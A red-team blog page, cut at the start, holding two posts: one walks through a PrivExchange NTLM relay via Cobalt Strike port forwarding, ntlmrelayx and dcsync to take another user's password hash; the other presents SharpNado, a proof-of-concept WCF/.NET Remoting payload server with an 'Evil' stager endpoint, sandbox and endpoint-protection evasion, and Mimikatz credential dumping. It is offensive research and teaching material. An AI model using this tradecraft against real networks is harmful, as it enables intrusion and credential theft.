<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAH2X_Lkl9CyKIRZoWUdlbpYNE1Um2OR1A4Pk1YDejGOTXPhkxW64mJVAbqMa4bBwbxrquGJE_G3ib9sWVKgq7Q7vK6THs77AV6r2CLFc32AvLd9rv3ujaeHA6XOqP74JaUBbIZG2aT6Y/s1600/2.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="522" data-original-width="932" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAH2X_Lkl9CyKIRZoWUdlbpYNE1Um2OR1A4Pk1YDejGOTXPhkxW64mJVAbqMa4bBwbxrquGJE_G3ib9sWVKgq7Q7vK6THs77AV6r2CLFc32AvLd9rv3ujaeHA6XOqP74JaUBbIZG2aT6Y/d/2.png" /></a></div>
<div class="MsoNormal">
<o:p><br /></o:p></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span><!--[if gte vml 1]><v:shape id="Picture_x0020_1"
o:spid="_x0000_i1032" type="#_x0000_t75" style='width:468pt;height:240pt;
visibility:visible;mso-wrap-style:square'>
<v:imagedata src="file:///C:/Users/e048342/AppData/Local/Temp/msohtmlclip1/01/clip_image003.png"
o:title=""/>
</v:shape><![endif]--><!--[if !vml]--><!--[endif]--></span><o:p></o:p></div>
<div class="MsoNormal">
Cool, we’re running as ‘tim’, a user who is not currently an
admin on this system, but that shouldn’t matter. Next, let's get our forwarding set up using the 'socks' + 'rportfwd' commands in Cobalt Strike and the /etc/proxychains.conf file:</div>
<div class="MsoNormal">
<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhr_3ncEDN75kpLkygKSHKMebu7QmTeZNC-Wr4L7VulW4uZ-RfiRKz94ekVk59wR0UkKb69NymFJFWM8CuPktmY8xj91403Xcu0MxQb3Io5LjYRkUMiF7tCEhk6S7gA78Nhh1xCgPnLORc/s1600/3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="131" data-original-width="439" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhr_3ncEDN75kpLkygKSHKMebu7QmTeZNC-Wr4L7VulW4uZ-RfiRKz94ekVk59wR0UkKb69NymFJFWM8CuPktmY8xj91403Xcu0MxQb3Io5LjYRkUMiF7tCEhk6S7gA78Nhh1xCgPnLORc/s1600/3.png" /></a></div>
<div class="MsoNormal">
<o:p><br /></o:p></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI8LBKTb8wj9VmKi70fO4V5lvdRloyqgLploUYxscRPD-wI4Rz5q0h_aK0Pf162l2QUpXd4mPqQ9MBeT_WgD-t6tAB6c-OHg5VyTbBs_Xcnu3EGRT1_I6dtmyJGVR29VzDkmNRTDAcg9c/s1600/4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="106" data-original-width="267" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI8LBKTb8wj9VmKi70fO4V5lvdRloyqgLploUYxscRPD-wI4Rz5q0h_aK0Pf162l2QUpXd4mPqQ9MBeT_WgD-t6tAB6c-OHg5VyTbBs_Xcnu3EGRT1_I6dtmyJGVR29VzDkmNRTDAcg9c/s1600/4.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
We’re doing a few things here, setting up a reverse port
forward to send traffic from port 80 on the compromised system to port 80 on
our attacker system, and then setting up a SOCKS proxy to forward traffic back
out through the compromised system over port 36529 on our box (the specific
port used doesn’t matter). </div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Once we've configured these, we can use proxychains to forward traffic through our SOCKS proxy set up on port 36259. To perform the relay, we'll run ntlmrelayx, forwarding traffic through proxychains in order to get it back to the
target environment. </div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHi98rKc_M2xpdHztpSUhft9vcohtaE3rHJHfK5ZZ6c7HNn7Wjt0BDjbn-fd47VeLD4fLjQPR3urHD09Cju68rXUT3rtzDJAR3gvhzjtwjEjyH5tQLAMgynju-5-9l_haww9qPFb4wynE/s1600/5.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="389" data-original-width="1012" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHi98rKc_M2xpdHztpSUhft9vcohtaE3rHJHfK5ZZ6c7HNn7Wjt0BDjbn-fd47VeLD4fLjQPR3urHD09Cju68rXUT3rtzDJAR3gvhzjtwjEjyH5tQLAMgynju-5-9l_haww9qPFb4wynE/d/5.png" /></a></div>
<br />
<div class="MsoNormal">
After this is up and running, we are ready to kick off the attack.<span> </span>I’m using the PowerShell
implementation of PrivExchange that I wrote called PowerPriv to authenticate using Tim's credentials.<span> In this example, a</span>ll we need are the IPs of
the Exchange server and the system which we currently have a shell on, since our compromised system will be relaying the incoming request to our attack server:<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEila9ho7jY_uCPFKK9Vfo6PjumTcEA0rNj3F1WW84W9g9Xz1CrVTtwGUH8R0LwXJu3Bv89T830KuqbCSwVRsJjBlYIQzAN7Vdbdtecy7VqqT7YG3Uk3fOFq6x3ZBkqNx78y7Hjh_p9V3Mc/s1600/6.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="144" data-original-width="863" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEila9ho7jY_uCPFKK9Vfo6PjumTcEA0rNj3F1WW84W9g9Xz1CrVTtwGUH8R0LwXJu3Bv89T830KuqbCSwVRsJjBlYIQzAN7Vdbdtecy7VqqT7YG3Uk3fOFq6x3ZBkqNx78y7Hjh_p9V3Mc/s16000/6.png" /></a></div>
<div class="MsoNormal"><br /></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><br /></div><div class="MsoNormal">After this, we sit back and wait a minute for the NTLM authentication request to come back from the remote Exchange server:</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTqC00UT9qzPruy2AnxnvyeGc3sUUqE4d32cPBsssXjroTYmHlAFOTdITbh9fEGjfPQgPhQmiK3kwZUi8Xv7-DNGVZtI4T3RfX_pSl2j8qWPpP7INE0u9KhpRuo4gC7Vs975oVKLKiS8k/s1600/7.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="293" data-original-width="813" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTqC00UT9qzPruy2AnxnvyeGc3sUUqE4d32cPBsssXjroTYmHlAFOTdITbh9fEGjfPQgPhQmiK3kwZUi8Xv7-DNGVZtI4T3RfX_pSl2j8qWPpP7INE0u9KhpRuo4gC7Vs975oVKLKiS8k/s16000/7.png" /></a></div>
<div class="MsoNormal">
<o:p><br /></o:p></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span><!--[if gte vml 1]><v:shape id="Picture_x0020_6"
o:spid="_x0000_i1027" type="#_x0000_t75" style='width:409.2pt;height:150.6pt;
visibility:visible;mso-wrap-style:square'>
<v:imagedata src="file:///C:/Users/e048342/AppData/Local/Temp/msohtmlclip1/01/clip_image013.png"
o:title=""/>
</v:shape><![endif]--><!--[if !vml]--><!--[endif]--></span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal"><br /></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div>Looks like our attack succeeded. Let's see if Tim can now perform a dcsync and get another user’s NTLM hash, even though Tim is only a lowly domain user:</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEKFF7SuzP8-Iok_aUDAKW56OZKFElVyipYcUsEaHRIDmIpTtnMLAmbnvPAnTLMnJLQYMh3mvUJl7whVfvhyekHIvuIj-cdhBixwdQB5HUjvjpXdAvOp2Jf-mEd4AhiN7ex6isDG6HeV8/s1600/8.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="417" data-original-width="806" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEKFF7SuzP8-Iok_aUDAKW56OZKFElVyipYcUsEaHRIDmIpTtnMLAmbnvPAnTLMnJLQYMh3mvUJl7whVfvhyekHIvuIj-cdhBixwdQB5HUjvjpXdAvOp2Jf-mEd4AhiN7ex6isDG6HeV8/d/8.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span><!--[if gte vml 1]><v:shape id="Picture_x0020_7"
o:spid="_x0000_i1026" type="#_x0000_t75" style='width:412.2pt;height:210.6pt;
visibility:visible;mso-wrap-style:square'>
<v:imagedata src="file:///C:/Users/e048342/AppData/Local/Temp/msohtmlclip1/01/clip_image015.png"
o:title=""/>
</v:shape><![endif]--><!--[if !vml]--><!--[endif]--></span><o:p></o:p></div>
<div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div>A resounding success!<span> </span>All without ever needing to know what Tim’s password is, perform any poisoning attacks, or drop files onto his system. <span> </span>As to why we’re using the Cobalt Strike dcsync module vs secretsdump – in this scenario we do not have a plaintext password or NTLM hash for Tim (or any user), which would be required if we want to run secretsdump from our box via proxychains.<span> </span>If you do have credentials, you can definitely use whichever method you prefer.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
A few gotchas from during this process:</div><div class="MsoNormal" style="text-indent: 0px;"><span style="text-indent: -0.25in;"><br /></span></div><div class="MsoNormal" style="text-indent: 0px;"><span style="text-indent: -0.25in;">Make sure to use an appropriate type of
malleable profile for your beacon. Don’t try and be fancy and send data over
URIs or parameters.</span><span style="text-indent: -0.25in;"> </span><span style="text-indent: -0.25in;">Due to the nature of
the relayed authentication we need to be able to quickly get the authentication
request and forward it back out.</span><span style="text-indent: -0.25in;"> </span><span style="text-indent: -0.25in;">I also
completed all testing using an interactive beacon, a 5-minute sleep isn’t going
to work for this one.</span></div><div class="MsoNormal" style="text-indent: 0px;"><span style="text-indent: -0.25in;"><br /></span></div><div class="MsoNormal" style="text-indent: 0px;"><span style="text-indent: -0.25in;">I was initially having issues getting the dcsync
working when using an FQDN (vs. the netbios name) of my target domain.</span><span style="text-indent: -0.25in;"> </span><span style="text-indent: -0.25in;">This was likely due to how I configured my
naming conventions on my local domain, but something to be aware of.</span></div><div class="MsoNormal" style="text-indent: 0px;"><span style="text-indent: -0.25in;"><br /></span></div><div class="MsoNormal" style="text-indent: 0px;"><span style="text-indent: -0.25in;">In this example, my Cobalt Strike teamserver was running on the same box as my Cobalt Strike operator console (I was not connecting to a remote team server)</span><span style="text-indent: -0.25in;">. If you have a remote team server, this is where you would need to set up your relay, as this is where the the reverse port fwd would be dumped out to. (May need further testing)</span></div><div class="MsoListParagraphCxSpFirst" style="text-indent: -0.25in;">
<!--[if !supportLists]--><o:p></o:p></div>
<div class="MsoListParagraphCxSpLast" style="text-indent: -0.25in;">
<o:p></o:p></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Notes and links:<o:p></o:p></div>
<div class="MsoNormal">
@_Dirkjan’s blog which covers the actual Exchange priv esc
bug that he found in greater depth: <span class="MsoHyperlink"><a href="https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/">https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/</a></span>
<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Github Repo for PowerPriv: <a href="https://github.com/G0ldenGunSec/PowerPriv">https://github.com/G0ldenGunSec/PowerPriv</a><br />
<br />
Github Repo for ntlmrelayx: <span class="MsoHyperlink"><a href="https://github.com/SecureAuthCorp/impacket">https://github.com/SecureAuthCorp/impacket</a></span>
<o:p></o:p><br />
<br />
Cobalt Strike resources on port fwd’ing and SOCKS proxies: <span class="MsoHyperlink"><a href="https://www.youtube.com/watch?v=bwq0ToNPCtg">https://www.youtube.com/watch?v=bwq0ToNPCtg</a></span></div>
<div class="MsoNormal">
<o:p></o:p></div>
<div class="MsoNormal">
<span class="MsoHyperlink"><a href="https://blog.cobaltstrike.com/2016/06/01/howto-port-forwards-through-a-socks-proxy/">https://blog.cobaltstrike.com/2016/06/01/howto-port-forwards-through-a-socks-proxy/</a></span><span> </span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
*This technique was demonstrated in the article with Cobalt
Strike.<span> </span>However, this same vector is
possible using other agents that support port forwarding and proxying, such as
Meterpreter.<o:p></o:p></div>
<br />Davehttp://www.blogger.com/profile/17081446936005057389noreply@blogger.com0tag:blogger.com,1999:blog-8176792450471116129.post-69568969840771321232018-12-19T12:24:00.000-06:002020-06-16T14:07:22.860-05:00SharpNado - Teaching an old dog evil tricks using .NET Remoting or WCF to host smarter and dynamic payloads<b>TL;DR:</b><br />
<br />
SharpNado is proof of concept tool that demonstrates how one could use .Net Remoting or Windows Communication Foundation (WCF) to host smarter and dynamic .NET payloads. SharpNado is not meant to be a full functioning, robust, payload delivery system nor is it anything groundbreaking. It's merely something to get the creative juices flowing on how one could use these technologies or others to create dynamic and hopefully smarter payloads. I have provided a few simple examples of how this could be used to either dynamically execute base64 assemblies in memory or dynamically compile source code and execute it in memory. This, however, could be expanded upon to include different kinds of stagers, payloads, protocols, etc.<br />
<br />
<b>So, what is WCF and .NET Remoting?</b><br />
<br />
While going over these is beyond the scope of this blog, Microsoft describes Windows Communication Foundation as a framework for building service-oriented applications and .NET Remoting as a framework that allows objects living in different AppDomains, processes, and machines to communicate with each other. For the sake of simplicity, let's just say one of its use cases is it allows two applications living on different systems to share information back and forth with each other. You can read more about them here:<br />
<br />
<a href="https://docs.microsoft.com/en-us/dotnet/framework/wcf/whats-wcf" target="_blank">WCF</a><br />
<br />
<a href="https://msdn.microsoft.com/en-us/library/ms973864.aspx" target="_blank">.NET Remoting</a><br />
<br />
A few examples of how this could be useful:<br />
<br />
<b>1. Smarter payloads without the bulk</b><br />
<br />
What do I mean by this? Since WCF and .NET Remoting are designed for communication between applications, it allows us to build in logic server side to make smarter decisions depending on what information the client (stager) sends back to the server. This means our stager can still stay small and flexible but we can also build in complex rules server side that allow us to change what the stager executes depending on environmental situations. A very simple example of payload logic would be the classic, if domain user equals X fire and if not don't. While this doesn't seem very climatic, you could easily build in more complex rules. For example, if the domain user equals X, the internal domain is correct and user X has administrative rights, run payload Y or if user X is a standard user, and the internal domain is correct, run payload Z. Adding to this, we could say if user X is correct, but the internal domain is a mismatch, send back the correct internal domain and let me choose if I want to fire the payload or not. These back-end rules can be as simple or complex as you like. I have provided a simple sandbox evasion example with SharpNado that could be expanded upon and a quick walk through of it in the examples section below.<br />
<br />
<b>2. Payloads can be dynamic and quickly changed on the fly:</b><br />
<br />
Before diving into this, let's talk about some traditional ways of payload delivery first and then get into how using a technology like WCF or .NET Remoting could be helpful. In the past and even still today, many people hard-code their malicious code into the payload sent, often using some form of encryption that only decrypts and executes upon meeting some environmental variable or often they use a staged approach where the non-malicious stager reaches out to the web, retrieves our malicious code and executes it as long as environmental variables align. The above examples are fine and still work well even today and I am in no way tearing these down at all or saying better ways don't exist. I am just using them as a starting point to show how I believe the below could be used as a helpful technique and up the game a bit, so just roll with it.<br />
<br />
So what are a few of the pain points of the traditional payload delivery methods? Well with the hard-coded payload, we usually want to keep our payloads small so the complexity of our malicious code we execute is minimal, hence the reason many use a stager as the first step of our payload. Secondly, if we sent out 10 payloads and the first one gets caught by end point protection, then even if the other 9 also get executed by their target, they too will fail. So, we would have to create a new payload, pick 10 new targets and again hope for the best.<br />
<br />
Using WCF or .NET Remoting we can easily create a light stager that allows us to quickly switch between what the stager will execute. We can do this either by back-end server logic as discussed above or by quickly setting different payloads within the SharpNado console. So, let's say our first payload gets blocked by endpoint protection. Since we already know our stager did try to execute our first payload due to the way the stager/server communicate we can use our deductive reason skills to conclude that our stager is good but the malicious code it tried to execute got caught. We can quickly, in the console, switch our payload to our super stealthy payload and the next time any of the stagers execute, the super stealthy payload will fire instead of the original payload which got caught. This saves us the hassle of sending a new payload to new targets. I have provided simple examples of how to do this with SharpNado that could be expanded upon and a quick walk through of it in the examples section below.<br />
<br />
<b>3. Less complex to setup:</b><br />
<br />
You might be thinking to yourself that I could do all this with mod rewrite rules and while that is absolutely true, mod rewrite rules can be a little more complex and time consuming to setup. This is not meant to replace mod rewrite or anything. Long live mod rewrite! I am just pointing out that writing your back-end rules in a language like C# can allow easier to follow rules, modularization, and data parsing/presentation.<br />
<br />
<b>4. Payloads aren't directly exposed:</b><br />
<br />
What do I mean by this? You can't just point a web browser at your server IP and see payloads hanging out in some open web directory to be analyzed/downloaded. In order to capture payloads, you would have to have some form of MiTM between the stager and the server. This is because when using WCF or .NET Remoting, the malicious code (payload) you want your stager to execute along with any complex logic we want to run sits behind our remote server interface. That remote interface exposes only the remote server side methods which can then be called by your stager. Now, if at this point you are thinking WTF, I encourage you to review the above links and dive deeper into how WCF or .NET Remoting works. As there are many people who explain it and understand it better than I ever will.<br />
<br />
Keep in mind, that you would still want to encrypt all of your payloads before they are sent over the wire to better protect your payloads. You would also want to use other evasion techniques, for example, amount of times the stager has been called or how much time has passed since the stager was sent, etc.<br />
<br />
<div>
<b>5. Been around awhile:</b><br />
<br />
.NET Remoting and WCF have been around a long time. There are tons of examples out there from developers on lots of ways to use this technology legitimately and it is probably a pretty safe bet that there are still a lot of organizations using this technology in legit applications. Like you, I like exposing ways one might do evil with things people use for legit purposes and hopefully bring them to light. Lastly, the above concepts could be used with other technologies as well, this just highlights one of many ways to accomplish the same goal.</div>
<div>
<br />
<b>Examples:</b><br />
<br />
<b>Simple dynamic + encrypted payload example:</b><br />
<br />
In the first example we will use SharpNado to host a base64 version of <a href="https://github.com/anthemtotheego/SharpSploitConsole">SharpSploitConsole</a> and execute Mimikatz logonpasswords function. First, we will setup our XML payload template that the server will be able to use when our stager executes. Payload template examples can be found on GitHub in the Payloads folder. Keep in mind that the ultimate goal would be to have many payload templates already setup that you could quickly switch between. The below screenshots give an example of what the template would look like.<br />
<br />
<b>Template example:</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQWJI_VyiJnI4z82H41RY79nYmwDyMMJqM3xXTiSRGR34OQc1g1P_fvHvfobuoOg78wS6Xs9KKftRNS9tUZJXAfbR3H2YPsyXreXZ71dovTMoS45YK1KH_s19ojUjOUzZfc6-BRVC3pH8/s1600/SharpNadoPayload1.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="656" data-original-width="1257" height="334" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQWJI_VyiJnI4z82H41RY79nYmwDyMMJqM3xXTiSRGR34OQc1g1P_fvHvfobuoOg78wS6Xs9KKftRNS9tUZJXAfbR3H2YPsyXreXZ71dovTMoS45YK1KH_s19ojUjOUzZfc6-BRVC3pH8/s640/SharpNadoPayload1.PNG" width="640" /></a></div>
This is what it would look like after pasting in base64 code and setting arguments:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu5Qn99PDeDnWx-jWoQVQoyRG-NXbmbDDQH9Evzist7qhkfM9ZebwH5Jr_QlQvFrk_vCGsPNg9dfkMDXHT2vQ6RM-n8QZB3IybHGfcHGN29y1bGD9LYC3xAo2wjn5ffMd73Z93EA3GtOI/s1600/SharpNadoPayload2.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="414" data-original-width="1255" height="210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu5Qn99PDeDnWx-jWoQVQoyRG-NXbmbDDQH9Evzist7qhkfM9ZebwH5Jr_QlQvFrk_vCGsPNg9dfkMDXHT2vQ6RM-n8QZB3IybHGfcHGN29y1bGD9LYC3xAo2wjn5ffMd73Z93EA3GtOI/s640/SharpNadoPayload2.PNG" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Once we have our template payload setup, we can go ahead and run SharpNado_x64.exe (with Administrator rights) and setup our listening service that our stager will call out to. In this example we will use WCF over HTTP on port 8080. So, our stager should be setup to connect to http://192.168.55.250:8080/Evil. I would like to note two things here. First is that with a little bit of work upfront server side, this could be modified to support HTTPS and secondly, SharpNado does not depend on the templates being setup prior to running. You can add/delete/modify templates any time while the server is running using whatever text editor you would like.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC4x5hmU15xcgK-2L3jMFbku2TiLOfx4LjvlR5-oBabnxfqyXHYnzMWDsxCUBx_X5XoC0JRrJ_Svp14PfiLf9FuASeEaGJAoi0YBPmeYcaQeoNYo9PdHeefigTXHjcjcMe3pdIpWO4lTI/s1600/SharpNadoExample3.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="1183" data-original-width="1600" height="472" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC4x5hmU15xcgK-2L3jMFbku2TiLOfx4LjvlR5-oBabnxfqyXHYnzMWDsxCUBx_X5XoC0JRrJ_Svp14PfiLf9FuASeEaGJAoi0YBPmeYcaQeoNYo9PdHeefigTXHjcjcMe3pdIpWO4lTI/s640/SharpNadoExample3.PNG" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Now let's see what payloads we currently have available. Keep in mind you may use any naming scheme you would like for your payloads. I suggest naming payloads and stagers what makes most sense to you. I only named them this way to make it easier to follow along.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6kyZvOS6GENme4B2HNY7VNOYuKaw594yI5CRDDApcOEPjbK1SnfuYH93GvDADxbgEuCysULXosBpqKtgn85cm7doVE7Hfw13Il0unIUEKw-Skka2Dj6daMF2__kecikO49eEwgVc95mI/s1600/SharpNadoExample4.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="315" data-original-width="1600" height="124" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6kyZvOS6GENme4B2HNY7VNOYuKaw594yI5CRDDApcOEPjbK1SnfuYH93GvDADxbgEuCysULXosBpqKtgn85cm7doVE7Hfw13Il0unIUEKw-Skka2Dj6daMF2__kecikO49eEwgVc95mI/s640/SharpNadoExample4.PNG" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
In this example I will be using the b64SharpSploitConsole payload and have decided that I want the payload to be encrypted server side and decrypted client side using the super secure password P@55w0rd. I would like to note here (outlined in red) that it is important for you to set your payload directory correctly. This directory is what SharpNado uses to pull payloads. A good way to test this is to run the command "show payloads" and if your payloads show up, you know you set it correctly.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-VPSn3UKeUHYVsZvlWzlfAxLUEjVSzG-FLtTRLUHTbVKa7ZX9k2r4qQbuigv2kBAEwEhaxU0tfzlZDGvNvIT6BDpZLmVcZpNyoUAtFgpgAMWsmb3l__bRTiH7YT0ufppsgLJjbGjwD0E/s1600/SharpNadoExample5.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="1059" data-original-width="1600" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-VPSn3UKeUHYVsZvlWzlfAxLUEjVSzG-FLtTRLUHTbVKa7ZX9k2r4qQbuigv2kBAEwEhaxU0tfzlZDGvNvIT6BDpZLmVcZpNyoUAtFgpgAMWsmb3l__bRTiH7YT0ufppsgLJjbGjwD0E/s640/SharpNadoExample5.PNG" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Lastly, we will setup our stager. Since I am deciding to encrypt our payload, I will be using the example SharpNado_HTTP_WCF_Base64_Encrypted.cs stager example found in the Stagers folder on GitHub. I will simply be compiling this and running the stager exe but this could be delivered via .NetToJScript or by some other means if you like.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAJzbSKDvQQccXnxByAz7Cf4-bkueXo4C2STJP7NCrVLFAc2Q6Xta8n-h_EPS3y8iiegXzMhrh1xXrxEnUqrN_nymacvkgcAY6oVOuoxXDXYwaPVrLmQ4-qw07mEDRoUY4k8nUubrEfVU/s1600/SharpNadoExample6.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="972" data-original-width="715" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAJzbSKDvQQccXnxByAz7Cf4-bkueXo4C2STJP7NCrVLFAc2Q6Xta8n-h_EPS3y8iiegXzMhrh1xXrxEnUqrN_nymacvkgcAY6oVOuoxXDXYwaPVrLmQ4-qw07mEDRoUY4k8nUubrEfVU/s640/SharpNadoExample6.PNG" width="470" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Now that we have compiled our stager, we will start the SharpNado service by issuing the "run" command. This shows us what interface is up and what the service is listening on, so it is good to check this to make sure again, that everything is setup correctly.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisrIX9HLQsVDkXfEvWoT4zrs2gnfNC1A_H9-Opt1FaTjgRfLUGsbS7pgdLUXJ4Zh-MFP9TzJb6baBn0uRde5XwhH1dcxJ7RPEVfeXUiL7msxyPQ6E2AsdmV62wEp7QB7l1OdzyZtaK5KU/s1600/SharpNadoExample7.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="99" data-original-width="1600" height="38" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisrIX9HLQsVDkXfEvWoT4zrs2gnfNC1A_H9-Opt1FaTjgRfLUGsbS7pgdLUXJ4Zh-MFP9TzJb6baBn0uRde5XwhH1dcxJ7RPEVfeXUiL7msxyPQ6E2AsdmV62wEp7QB7l1OdzyZtaK5KU/s640/SharpNadoExample7.PNG" width="640" /></a></div>
<br />
<br />
<br />
Now when our stager gets executed, we should see the below.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggbCdfFsdSRSD4I2uNZiOceAvodnveUt133Zlop-2M8u-VZ-H55wEUc7CxnTEaIgJ1-9jykdUp9Ut3QwP4CgXGPkiDr1-nZYR69NEDk3PVphz8jgfBuxFo2ceZ467T-KMZ5yZrVQMhx4k/s1600/SharpNadoExample8.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="705" data-original-width="1600" height="282" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggbCdfFsdSRSD4I2uNZiOceAvodnveUt133Zlop-2M8u-VZ-H55wEUc7CxnTEaIgJ1-9jykdUp9Ut3QwP4CgXGPkiDr1-nZYR69NEDk3PVphz8jgfBuxFo2ceZ467T-KMZ5yZrVQMhx4k/s640/SharpNadoExample8.PNG" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
And on our server side we can see that the encrypted server method was indeed called by our stager. Keep in mind, we can build in as much server logic as we like. This is just an example.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
